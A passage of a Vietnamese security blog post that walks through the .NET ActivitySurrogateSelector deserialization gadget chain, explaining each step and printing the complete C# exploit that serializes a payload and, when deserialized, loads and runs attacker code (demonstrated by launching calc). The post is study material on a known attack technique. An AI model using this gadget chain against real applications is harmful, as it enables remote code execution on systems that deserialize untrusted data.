    DesignerVerb verb = new DesignerVerb("XYZ", null);
    
    // Need to insert IDictionary using reflection.
    typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
    
    • Trong đoạn code trên, e3 có kiểu là IEnumerable (biến ở đoạn code ví dụ ở phần V.1) và mục đích của đoạn code này là dùng reflection để set giá trị verb.properties=dict

    Tại sao lại như vậy nhỉ???

    Đầu tiên, ta đi xem sơ qua cấu trúc của các kiểu dữ kiệu trong đoạn code trên

    • PageDataSource

    Untitled

    • IDictionary

    Untitled

    • DesignerWeb kế thừa MenuCommand

    Untitled

    • Trong MenuCommand thì chú ý tới dòng 17

    Untitled

    • Từ những dữ kiện trên, tôi đơn giản thành đoạn code như sau:
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
    public class MenuCommand
    {
        private IDictionary properties;
    
        // ...other members and methods...
    }
    
    public class DesignerVerb : MenuCommand
    {
        private string name;
        // ...other members and methods...
    
        public DesignerVerb(string name, IDictionary properties)
        {
            this.name = name;
            this.properties = properties;
        }
    
        public override string ToString()
        {
            // ...implementation...
        }
    }
    

    và nhìn lại đoạn code mà chúng ta cần phân tích

    1
    2
    3
    4
    
    PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
    IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
    DesignerVerb verb = new DesignerVerb("XYZ", null);
    typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
    
    • Dòng 1 đơn giản là tạo 1 instance PagedDataSource với DataSource = e3 (e3 là LINQ ở phần V.1)

    • Dòng 2 tạo 1 instance của AggregateDictionary (là một IDictionary), sử dụng reflection và gán vào dict và dùng biến pds ở dòng 1 làm tham số có constructor.

    • Dòng 3: tạo một DesignerVerb có tên là “XYZ” và không gán giá trị cho properties

    • Dòng 4: dùng reflection truy cập tới private field properties của class MenuCommand. Sau đó, gán giá trị properties của verbdict.

      Lưu ý:

      • verb là instance của DesignerVerb
      • DesignerVerb kế thừa properties từ MenuCommand
      • properties là 1 private trong MenuCommand

      ⇒ dùng reflection truy cập vào properties của MenuCommand nhưng set value thì của verb.

    • Để gọi ToString() method thì chỉ cần dùng verb.ToString()

      Untitled

      Untitled

    Oke, chạy thử thôi

    Untitled

    Gòi gòi đây gòi!! Ca cu lay tờ của tui đây rồi.!!

    Có nghĩa đến đây, ToString() đã trigger LINQ, ExploitClass được thực thi và calc đã được bật. Đi tiếp thôi.

3. HashTable to ToString

  • Chúng ta đã thành công từ việc dùng ToString() để trigger LINQ, execute malicious code để popup calc
  • Phần này chúng ta sẽ giải quyết vấn đề còn lại: Làm sao để trigger ToString() trong quá trình deserialize (verb.ToString() ở cuối phần trước chỉ là dùng để chứng mình ta thành công trong việc ToString() đến execute calc). Và solution ở đây là dùng HashTable

FUN: Thấy HashTable làm tôi nghĩ ngay tới các commonsCollection trong Java Deserialize, HashTable cũng được dùng trong cc7

Untitled

  • Hãy xem HashTable có gì?

    Untitled

    Untitled

  • Trong HashTable có một method public virtual void OnDeserialization(object sender);Dùng dnspy để xem

Untitled

Trong quá trình Deserialize, HashTable sẽ rebuild lại tập key và insert.

Trong Insert(), nếu như key bị duplicated, chương trình deserialize fail, quăng ra lỗi

Untitled

Block_12:

Untitled

Environment.GetResourceString() được gọi

Untitled

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
List<object> ls = new List<object>();
ls.Add(e1);
ls.Add(e2);
ls.Add(e3);
ls.Add(pds);
ls.Add(verb);
ls.Add(dict);
Hashtable ht = new Hashtable();

ht.Add(verb, "");
ht.Add("", "");

FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
    object bucket = keys.GetValue(i);
    object key = fi_key.GetValue(bucket);
    if (key is string)
    {
        fi_key.SetValue(bucket, verb);
        keys.SetValue(bucket, i);
        break;
    }
}

fi_keys.SetValue(ht, keys);

ls.Add(ht);

Đoạn code trên dùng reflection để sửa giá trị của buckets field và replace the key là string với verb để 2 key trùng nhau ⇒ hash trùng nhau ⇒ lỗi sẽ trigger ⇒ trigger ToString như phân tích ở trên.

4. System.Windows.Forms.AxHost.State handling

Ở phần trước ta thấy mọi thứ có vẻ hoàn hảo:

  • Chúng ta đã tìm được cách trigger ToString() trong quá trình deserialize
  • Tìm được chain từ ToString() trigger Linq
  • Từ LINQ trigger malicious code.

Bây giờ kết hợp mọi thứ lại và chạy kiểm tra

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel.Design;
using System.Data;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;
using System.Web.UI.WebControls;

namespace LinqBasic
{

    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }

            return base.GetSurrogate(type, context, out selector);
        }
    }

    [Serializable]
    public class PayloadClass : ISerializable
    {
        public byte[] GadgetChains()
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");

            // Build a chain to map a byte array to creating an instance of a class.
            // byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win!

            // step 1
            List<byte[]> data = new List<byte[]>();
            data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
            var e1 = data.Select(Assembly.Load);

            // step 2
            Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
            var e2 = e1.SelectMany(map_type);

            // step 3
            var e3 = e2.Select(Activator.CreateInstance);

            // PagedDataSource maps an arbitrary IEnumerable to an ICollection
            PagedDataSource pds = new PagedDataSource() { DataSource = e3 };

            // AggregateDictionary maps an arbitrary ICollection to an IDictionary 
            // Class is internal so need to use reflection.
            IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

            // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
            DesignerVerb verb = new DesignerVerb("XYZ", null);

            // Need to insert IDictionary using reflection.
            typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

            // Pre-load objects, this ensures they're fixed up before building the hash table.

            List<object> ls = new List<object>();
            ls.Add(e1);
            ls.Add(e2);
            ls.Add(e3);
            ls.Add(pds);
            ls.Add(verb);
            ls.Add(dict);

            Hashtable ht = new Hashtable();

            // Add two entries to table.
            ht.Add(verb, "Hello");
            ht.Add("Dummy", "Hello2");

            // reflection to change buckets
            FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
            Array keys = (Array)fi_keys.GetValue(ht);
            FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
            for (int i = 0; i < keys.Length; ++i)
            {
                object bucket = keys.GetValue(i);
                object key = fi_key.GetValue(bucket);
                if (key is string)
                {
                    fi_key.SetValue(bucket, verb);
                    keys.SetValue(bucket, i);
                    break;
                }
            }

            fi_keys.SetValue(ht, keys);
            ls.Add(ht);
            BinaryFormatter fmt1 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, ls);
            return stm.ToArray();
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");
            //info.SetType(typeof(System.Windows.Forms.AxHost.State));
            //info.AddValue("PropertyBagBinary", GadgetChains());
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            SoapFormatter fmt1 = new SoapFormatter();
            SoapFormatter fmt2 = new SoapFormatter();
            MemoryStream stm = new MemoryStream();
            PayloadClass test = new PayloadClass();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            //fmt1.Serialize(stm, test.GadgetChains());
            fmt1.Serialize(stm, test);
            stm.Seek(0, SeekOrigin.Begin);
            fmt2.Deserialize(stm);
        }
    }
}

Untitled

Ôi Khoan!! có lỗi ở đây.

Đến thời điểm này tôi cũng không biết vì sao. Tuy nhiên, tôi thấy bộ công cụ nổi tiếng ysoserial.net sử dụng System.Windows.Forms.AxHost.State handling để xử lý phần lỗi xảy ra ở chain này

Untitled

Cụ thể, khi thêm phần handling của System.Windows.Forms.AxHost.State:

Untitled

  • Khi enumerator.Name = PropertyBagBinary, câu lệnh tại dòng 7228 được thực thi

Untitled

  • Đến đây thì stream sẽ được deserialize. Đây cũng là endpoint của 1 chain khác AxHostState attack chain

Nhưng như thế thì liên quan gì đến đoạn code ban đầu của chúng ta? Tại sao không thêm đoạn này thì lại bị lỗi? Điều chúng ta cần đâu phải hàm Deserialize này vì trong đoạn code đã deserialize rồi mà??

Tôi quyết định dùng DNSpy để decode.Chương trình đã vào phần xử lý lỗi khi deserialize Hashtable vì duplicate.

Untitled

Cứ tiếp tục và thấy

Untitled

oh, Tôi đã hiểu! Các bạn còn nhớ để trigger ToString() ta phải làm cho quá trình deserialize của HashTable bị lỗi, nhảy vào exception để trigger ToString() chứ? Exception này là do nó trả về trước khi malicious của chúng ta execute nên đã nhận thông báo lỗi.

Do đó, ysoserial.net sử dụng System.Windows.Forms.AxHost.State để xử lý lỗi này, cụ thể khi bị trigger lỗi, hàm này sẽ xử lý. Trong payload, ta set

Untitled

khi đó, this.proBag.Read() được gọi với stream là payload của mình

Untitled

  • Đến đây thì payload sẽ được deserialize 1 lần nữa

Untitled

Untitled

  • Khúc này khá ảo. Theo như tôi hiểu, lần đầu deserialize thì sẽ bị lỗi, chúng ta thêm System.Windows.Forms.AxHost.State để handle error này
  • Khi handle error này, payload của chúng ta được deserialize 1 lần nữa. Mà lần deserialize này do đã add handle exception trước đó rồi, nên error sẽ không bị văng ra và malicious sẽ được execute.
  • Full exploit:
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel.Design;
using System.Data;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;
using System.Web.UI.WebControls;

namespace LinqBasic
{

    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }

            return base.GetSurrogate(type, context, out selector);
        }
    }

    [Serializable]
    public class PayloadClass : ISerializable
    {
        public byte[] GadgetChains()
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");

            // Build a chain to map a byte array to creating an instance of a class.
            // byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win!

            // step 1
            List<byte[]> data = new List<byte[]>();
            data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
            var e1 = data.Select(Assembly.Load);

            // step 2
            Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
            var e2 = e1.SelectMany(map_type);

            // step 3
            var e3 = e2.Select(Activator.CreateInstance);

            // PagedDataSource maps an arbitrary IEnumerable to an ICollection
            PagedDataSource pds = new PagedDataSource() { DataSource = e3 };

            // AggregateDictionary maps an arbitrary ICollection to an IDictionary 
            // Class is internal so need to use reflection.
            IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

            // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
            DesignerVerb verb = new DesignerVerb("XYZ", null);

            // Need to insert IDictionary using reflection.
            typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

            // Pre-load objects, this ensures they're fixed up before building the hash table.

            List<object> ls = new List<object>();
            ls.Add(e1);
            ls.Add(e2);
            ls.Add(e3);
            ls.Add(pds);
            ls.Add(verb);
            ls.Add(dict);

            Hashtable ht = new Hashtable();

            // Add two entries to table.
            ht.Add(verb, "Hello");
            ht.Add("Dummy", "Hello2");

            // reflection to change buckets
            FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
            Array keys = (Array)fi_keys.GetValue(ht);
            FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
            for (int i = 0; i < keys.Length; ++i)
            {
                object bucket = keys.GetValue(i);
                object key = fi_key.GetValue(bucket);
                if (key is string)
                {
                    fi_key.SetValue(bucket, verb);
                    keys.SetValue(bucket, i);
                    break;
                }
            }

            fi_keys.SetValue(ht, keys);
            ls.Add(ht);
            BinaryFormatter fmt1 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, ls);
            return stm.ToArray();
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");
            info.SetType(typeof(System.Windows.Forms.AxHost.State));
            info.AddValue("PropertyBagBinary", GadgetChains());
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            SoapFormatter fmt1 = new SoapFormatter();
            SoapFormatter fmt2 = new SoapFormatter();
            MemoryStream stm = new MemoryStream();
            PayloadClass test = new PayloadClass();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            //fmt1.Serialize(stm, test.GadgetChains());
            fmt1.Serialize(stm, test);
            stm.Seek(0, SeekOrigin.Begin);
            fmt2.Deserialize(stm);
        }
    }
}

Untitled

VI Tổng kết

  • Vậy là đi qua chain này rồi, tới đây và tại thời điểm này tôi nghĩ mình đã hiểu được 90-95% chain này.
  • Đây là một blog dài, nhưng với 1 .Net deserialize 2 tuần như tôi thì qua blog này tôi học được rất nhiều thứ.
  • Và đây là tổng kết flow của chain ActivitySurrogateSelector:
    1. Trigger lỗi trong HashTable để execute vào ToString

    2. Từ ToString đến IEnumerable

      1
      
      ToString -> DesignerVerb  -> IDictionary  -> AggregateDictionary  -> ICollectionICollection -> PagedDataSource  -> IEnumerable  
      
    3. Từ IEnumerable đến LINQ exploit chain

      1
      2
      3
      
      byte[] -> Assembly.Load(byte[]) -> Assembly
      Assembly -> Assembly.GetType() -> Type[]
      Type[] -> Activator.CreateInstance(Type[]) -> object[]
      
    4. LINQ exploit chain:

      1. Sử dụng ActivitySurrogateSelector+ObjectSurrogate để serialize những class không thể serialize, mục tiêu tại LINQ
      2. Dùng LINQ thay thế delegate của nó thành Assembly.Load để load malicious code và tạo 1 instance
    5. Dùng System.Windows.Forms.AxHost.State wrap để handle exception.

VII Nguồn tham khảo

.net反序列化之SoapFormatter - 先知社区 (aliyun.com)

SoapFormatter反序列化链ActivitySurrogateSelector - zpchcbd - 博客园 (cnblogs.com)

.NET Deserialization 101. Như các bạn đã biết, các ngôn ngữ điều… | by hkln1 | tradahacking (medium0.com)

Share on

Edisc
WRITTEN BY
Edisc
Cyber Security Engineer

 
What's on this Page